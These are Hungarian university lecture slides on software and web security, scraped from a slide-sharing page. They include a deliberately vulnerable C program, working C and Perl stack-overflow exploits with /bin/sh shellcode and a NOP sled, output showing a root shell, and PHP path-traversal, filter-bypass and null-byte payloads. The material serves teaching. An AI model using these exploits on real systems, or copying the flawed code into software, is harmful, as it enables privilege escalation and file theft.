21
Széchenyi Isván Egyetem Számítógépes hálózatok II 1 Számítógépes Hálózatok II Széchenyi István Egyetem

Számítógépes Hálózatok II

  • Upload
    beck

  • View
    39

  • Download
    0

Embed Size (px)

DESCRIPTION

Számítógépes Hálózatok II. Széchenyi István Egyetem. Programhibák. Környezeti változó Temp fájl/könyvtár hibás kezelése I/O hiba. A fent említett hibák megléte jelentősen csökkenti a rendszer biztonsági szintjét. I/O kezelés. Ellenőrzött INPUT!! Ellenőrzött OUTPUT!! - PowerPoint PPT Presentation

Citation preview

Page 1: Számítógépes Hálózatok II

Széchenyi Isván Egyetem Számítógépes hálózatok II

1

Számítógépes Hálózatok II

Széchenyi István Egyetem

Page 2: Számítógépes Hálózatok II

Széchenyi Isván Egyetem Számítógépes hálózatok II

2

Programhibák

• Környezeti változó

• Temp fájl/könyvtár hibás kezelése

• I/O hiba

A fent említett hibák megléte jelentősen csökkenti a rendszer biztonsági szintjét

Page 3: Számítógépes Hálózatok II

Széchenyi Isván Egyetem Számítógépes hálózatok II

3

I/O kezelés

• Ellenőrzött INPUT!!

• Ellenőrzött OUTPUT!!

• Input adat megfelelő kezelése,memóriában való mozgatása

Nem megfelelően kezelt I/O adatok nagy veszélyt jelenthetnek olyan programok Esetén, melyek magasabb privilégiummal futnak, mint a felhasználó jogosultságai

Page 4: Számítógépes Hálózatok II

Széchenyi Isván Egyetem Számítógépes hálózatok II

4

Stack Overflow

• Hiba alapja a nem megfelelő memóriamozgatás

• Segítségével bármilyen kód végrehajtható

• Kihasználásához speciális körülmények szükségesek

A technika és a hiba nagyon régi, mégis a mai napig megtalálható a rendszerekben.Rengeteg szervert és hálózatot törnek fel ezen technika alkalmazásával

Page 5: Számítógépes Hálózatok II

Széchenyi Isván Egyetem Számítógépes hálózatok II

5

Stack Overlow alapok

• Memória felépítés (Verem,kód,adat szegmens)• Verem felépítése,működése (LIFO)• Milyen adatok vannak a veremben?

• átmeneti adatok• környezeti változók, paraméterek• rendszerváltozók• ugrási táblázatok….

Page 6: Számítógépes Hálózatok II

Széchenyi Isván Egyetem Számítógépes hálózatok II

6

Page 7: Számítógépes Hálózatok II

Széchenyi Isván Egyetem Számítógépes hálózatok II

7

Fontosabb regiszterek

• ESP (Stack Pointer, x86 architektúrán a stack tetejére mutat)

• EBP (függvények helyi változói,paraméterek,visszatérési cím(!!))

• EIP (köv. végrehajtandó byte(!!))

A hiba megtalálása nagyon egyszerű, már létezik olyan fordító, mely észre is veszi a lehetséges veszélyeket

Page 8: Számítógépes Hálózatok II

Széchenyi Isván Egyetem Számítógépes hálózatok II

8

Hiba kihasználása

• Etikus/etikátlan

• Shellcode (kritériumok)

• Esély növelése (NOP)

Page 9: Számítógépes Hálózatok II

Széchenyi Isván Egyetem Számítógépes hálózatok II

9

Hackeljünk!

Page 10: Számítógépes Hálózatok II

Széchenyi Isván Egyetem Számítógépes hálózatok II

10

Hibás példaprogram#include <stdio.h>int main(int argc,char **argv){

char buf[256]; if(argc < 2) {

printf("Usage: %s <overflowbuffer>\n",argv[0]);exit(-1); }

strcpy(buf,argv[1]); /* Boooom */} }

Page 11: Számítógépes Hálózatok II

Széchenyi Isván Egyetem Számítógépes hálózatok II

11

/* c0dEd bY Depth fR0m HB S3CurTy tEAm*/#include<stdio.h>#include<stdlib.h>

#define NOP 0x90#define LEN 2048#define RET 0xbffff000 //0xbffffd18

int main(int argc, char **argv){char shellcode[]="\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89\x46\x0c\x89\x76\x08„"\xb0\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x29\xc0„"\x40\xcd\x80\xe8\xde\xff\xff\xff/bin/sh";

char buffer[LEN];long addr = RET;int i;addr+=atoi(argv[1]);for(i=0;i<(LEN - sizeof(shellcode));i++){

*(buffer+i)=NOP;}for(i=0;i<300;i+=4){

*(long *)&buffer[i]= addr;}memcpy(buffer+(LEN-sizeof(shellcode)),shellcode,sizeof(shellcode));execl("./test1","HBST exploit",buffer,0);return 0;

}

Biztonsági Audit C nyelven

Page 12: Számítógépes Hálózatok II

Széchenyi Isván Egyetem Számítógépes hálózatok II

12

Biztonsági Audit Perl Nyelven#!/usr/bin/perl# Coded By Depth from HB Security Team

$shellcode = "\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89\x46\x0c";$shellcode .="\x89\x76\x08\xb0\x0b\x87\xf3\x8d\x4b\x08\x8d";$shellcode .= "\x53\x0c\xcd\x80\x29\xc0\x40\xcd\x80\xe8\xde";$shellcode .= "\xff\xff\xff/bin/sh";

$nop= "\x90";$ret= 0xbffff000; $len=2048;$new_ret=pack("l",($ret + $ARGV[0]));for ($i=0; $i<$len; $i+=4) {

$buffer .= $new_ret;}

for($i=0;$i< $len - length($shellcode)-100;$i++){$buffer .= $nop;}

$buffer .= $shellcode;exec("./test1",$buffer,0);

Page 13: Számítógépes Hálózatok II

Széchenyi Isván Egyetem Számítógépes hálózatok II

13

Hiba kihasználásasrv-halx:/tmp$ iduid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)srv-halx:/tmp$ for i in `seq 200 500`;do ./expl1.pl $i;done…………………………Trace/breakpoint trapIllegal instructionSegmentation faultIllegal instructionTrace/breakpoint trapIllegal instructionIllegal instructionIllegal instructionTrace/breakpoint trapIllegal instructionsh-2.05a# iduid=65534(nobody) gid=65534(nogroup) euid=0(root) groups=65534(nogroup)sh-2.05a#

Page 14: Számítógépes Hálózatok II

Széchenyi Isván Egyetem Számítógépes hálózatok II

14

Webes biztonság

Problémák:• Nagy, összetett rendszerek• Nem ellenőrzött INPUT• Nem megfelelő jogosultságok• Biztonság alapvető hiánya

A problémák az egyszerű oldalaktól a bonyolult webes áruházakig megtalálhatók

Page 15: Számítógépes Hálózatok II

Széchenyi Isván Egyetem Számítógépes hálózatok II

15

Könyvtárak, fájlok hibás kezelése I

Legegyszerűbb eset:www.akarmi.hu/index.php?fajl=adatok.txt

<?php ….fopen($HTTP_GET_VARS['fajl'], "a");……?>

Az adatok.txt helyére bármilyen fájlt megadhatunk aminek olvasásához a httpd-nekJoga van.

Page 16: Számítógépes Hálózatok II

Széchenyi Isván Egyetem Számítógépes hálózatok II

16

Könyvtárak, fájlok hibás kezelése II

Kicsit „biztonságosabb” eset:www.akarmi.hu/index.php?fajl=adatok.txt

<?php

$file = '/var/www/'.$HTTP_GET_VARS['fajl];fopen($file, "a");

?>

www.akarmi.hu/index.php?fajl=../../file_amit_akarok

Megfelelő védelmet nyújt minden esetben a teljes META karakterkészlet szűrése

Page 17: Számítógépes Hálózatok II

Széchenyi Isván Egyetem Számítógépes hálózatok II

17

Könyvtárak, fájlok hibás kezelése III

<?php

$grep_file = preg_replace("/\.\.//i",'',$HTTP_GET_VARS['fajl']);$file = '/files/include/'.$grep_file;fopen($file, "a");

?>

Preg_replace() függvény kiszűri a ../ karaktereket a fájlnévből.

Trükk:…/…//…/…//file_amit_akarok

Átalakítás:.../ -> .…// -> ./

Page 18: Számítógépes Hálózatok II

Széchenyi Isván Egyetem Számítógépes hálózatok II

18

Saját script futtatása

Probléma:

www.akarmi.hu/index.php?inc_text=oldal.php

A probléma kihasználásának feltételei:

• egy szerver, melyen nincs php futtatási lehetőség• saját script

Ettől kezdve összetett programokat, exploitokat lehet futtatni melyek segítségévelAkár Adminisztrátori szintre is lehet törni a célszervert.

Page 19: Számítógépes Hálózatok II

Széchenyi Isván Egyetem Számítógépes hálózatok II

19

NULL byte

• Hexában %00

• Mit jelenthet? (gondoljunk a C programozásra)

Csak a meghatározott kiterjesztésű fájlokat lehet megnyitni:<?php$file = $HTTP_GET_VARS['fajl'];$file = $file.'.txt';fopen($file, 'r');?>

www.valami.hu/index.php?fajl=adatok.txtindex.php%00.txt // index.php forrása!!

Page 20: Számítógépes Hálózatok II

Széchenyi Isván Egyetem Számítógépes hálózatok II

20

Befejezés?

• Törekedjünk legalább a minimális biztonságra

• A lista nem teljes…

• Biztos, hogy hozzánk nem törtek be?

Page 21: Számítógépes Hálózatok II

Széchenyi Isván Egyetem Számítógépes hálózatok II

21

Köszönöm a figyelmet